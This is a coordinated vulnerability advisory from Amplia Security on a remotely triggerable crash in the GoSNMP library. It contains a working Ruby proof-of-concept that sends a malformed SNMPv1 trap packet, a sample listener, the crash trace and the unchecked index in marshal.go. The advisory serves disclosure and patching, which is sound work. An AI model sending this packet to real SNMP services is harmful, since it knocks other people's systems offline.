GoSNMP Denial of Service Vulnerability


Security Advisory Title: GoSNMP Denial of Service Vulnerability
Advisory ID: AMPLIA-ARA111721
Advisory URL: https://www.ampliasecurity.com/advisories/gosnmp-dos-vulnerability-ara111721.html, https://www.ampliasecurity.com/advisories/AMPLIA-ARA111721.txt
Date published: 11-17-2021
Vendors contacted: gosnmp (https://www.github.com/gosnmp/gosnmp) (notified 11-11-2021)
Release mode: Coordinated release
Last Updated: 11-18-2021

Index

1. Vulnerablity information
2. Vulnerablity description
3. Vulnerable systems
4. Vendor Information, solutions and workarounds
5. Credits
6. Technical description
7. Disclaimer

1. Vulnerability information

Impact: A malformed SNMPv1 trap packet can cause a Denial-of-Service condition in software using the gosnmp library.
Remotely Exploitable: Yes
Bugtraq Id: <unknown>
CVE ID: <unknown>

2. Vulnerability description

GoSNMP is an SNMP library fully written in Go used by different server software.

A malformed SNMPv1 trap packet can cause an unhandled error resulting in a Denial-of-Service condition affecting software using the library.

Successful exploitation can be performed remotely without authentication using a single UDP packet.

3. Vulnerable Systems

This vulnerablity was tested against GoSNMP v1.33.0.

4. Vendor Information, Solutions and Workarounds

This issue was fixed in GoSNMP v1.34.0 (released 2021-11-17).

GoSNMP library
https://github.com/gosnmp/gosnmp

References
https://github.com/gosnmp/gosnmp/issues/381
https://github.com/gosnmp/gosnmp/commit/03d926140868951dc4a10397a28f442f046529e5
https://github.com/gosnmp/gosnmp/releases/tag/v1.34.0

5. Credits

This vulnerability was discovered by Amplia Security.
Special thanks to the GoSNMP team for their immediate response.

6. Technical description

GoSNMP is an SNMP library fully written in Go used by different server software.

A malformed SNMPv1 trap packet can cause an unhandled error resulting in a Denial-of-Service condition affecting software using the library.

The following PoC script can be used to reproduce the issue:

File ampliasecurity_snmptrap_dos_poc.rb:

# Amplia Security (c) 2021 - ampliasecurity_snmptrap_dos_poc.rb
# PoC - https://github.com/gosnmp/gosnmp DoS using malformed SNMPv1 TRAP packet

require 'socket'

puts "Amplia Security (c) 2021 - ampliasecurity_snmptrap_dos_poc.rb"
puts "PoC - https://github.com/gosnmp/gosnmp DoS using malformed SNMPv1 TRAP packet"
puts
exploit = [0x30,0x2E,0x02,0x01,0x00,0x04,0x29,0x70,0x75,0x62,0x6C,0x69,0x63,0xA4,0x21,0x06,0x0E,0x2B,0x06,0x01,0x04,0x01,0x94,0x3C,0x01,0x01,0x1B,0x01,0x0B,0x10,0x00,0x40,0x04,0xC0,0xA8,0x01,0xBA,0x02,0x01,0x06,0x02,0x01,0x11,0x43,0x01,0x64,0x30,0x00]
sock = UDPSocket.new
host = "hostname"
sock.connect(host, 162)
sock.send(exploit.pack("c*"), 0)
puts "Packet sent!"

Sample server,
File server.go:

package main

import (
        "fmt"
        "net"
        "log"
        "os"
        "github.com/gosnmp/gosnmp"
)

func handle(packet *gosnmp.SnmpPacket, addr *net.UDPAddr) {

    fmt.Println("Received!")

}

func main() {
    fmt.Println("Amplia Security PoC - SNMPv1 Trap handler example.. waiting for packets...")

    gosnmp.Default.Logger = gosnmp.NewLogger(log.New(os.Stdout, "", 0))

    tl := gosnmp.NewTrapListener()
    tl.OnNewTrap = handle
    tl.Params = &gosnmp.GoSNMP{
        Transport:          "udp",
        Community:          "public",
        Retries:            3,
        ExponentialTimeout: true,
        MaxOids:            100,
        Version:            gosnmp.Version1,
        Logger:    gosnmp.NewLogger(log.New(os.Stdout, "", 0)),
    }

    tl.Listen("0.0.0.0:162")

}

Sample Output:

# go run server.go
Amplia Security PoC - SNMPv1 Trap handler example.. waiting for packets...

$ ruby ampliasecurity_snmptrap_dos_poc.rb
Amplia Security (c) 2021 - ampliasecurity_snmptrap_dos_poc.rb
PoC - https://github.com/gosnmp/gosnmp DoS using malformed SNMPv1 TRAP packet

Packet sent!
$

# go run server.go
Amplia Security PoC - SNMPv1 Trap handler example.. waiting for packets...
Packet sanity verified, we got all the bytes (48)
parseRawField: version
Parsed version 0
parseRawField: community
Parsed community public?!+<
                           @???Cd0
panic: runtime error: index out of range [48] with length 48

goroutine 1 [running]:
github.com/gosnmp/gosnmp.(*GoSNMP).unmarshalPayload(0xc000090000, {0xc000092000, 0x30, 0x1000}, 0x30, 0xc000094000)
        /go/pkg/mod/github.com/gosnmp/gosnmp@v1.33.0/marshal.go:1010 +0x6b6
github.com/gosnmp/gosnmp.(*GoSNMP).UnmarshalTrap(0xc000090000, {0xc000092000, 0x30, 0x1000}, 0x0)
        /go/pkg/mod/github.com/gosnmp/gosnmp@v1.33.0/trap.go:395 +0x337
github.com/gosnmp/gosnmp.(*TrapListener).listenUDP(0xc000060140, {0x536d40, 0x53564b})
        /go/pkg/mod/github.com/gosnmp/gosnmp@v1.33.0/trap.go:210 +0x294
github.com/gosnmp/gosnmp.(*TrapListener).Listen(0xc000060140, {0x536d40, 0xc})
        /go/pkg/mod/github.com/gosnmp/gosnmp@v1.33.0/trap.go:349 +0x17d
main.main()
        /poc/server.go:36 +0x279
exit status 2
$

Vulnerable code,
File marshal.go:

(...)
func (x *GoSNMP) unmarshalPayload(packet []byte, cursor int, response *SnmpPacket) error {
    if len(packet) == 0 {
        return errors.New("cannot unmarshal nil or empty payload packet")
    }
    if cursor > len(packet) {
        return fmt.Errorf("cannot unmarshal payload, packet length %d cursor %d", len(packet), cursor)
    }
    if response == nil {
        return errors.New("cannot unmarshal payload response into nil packet reference")
    }

    // Parse SNMP packet type
    requestType := PDUType(packet[cursor])

At this point 'cursor'  == len(packet) (48 in this example), this condition is not checked; next the panic is thrown when

        requestType := PDUType(packet[cursor])

is executed; crashing the program using the gosnmp library.  This causes a DoS condition.
Server software packages were found vulnerable to this DoS issue.

7. Disclaimer

The contents of this advisory are copyright (c) 2021 Amplia Security (www.ampliasecurity.com), and may be distributed freely provided that no fee is charged for distribution and proper credit is given.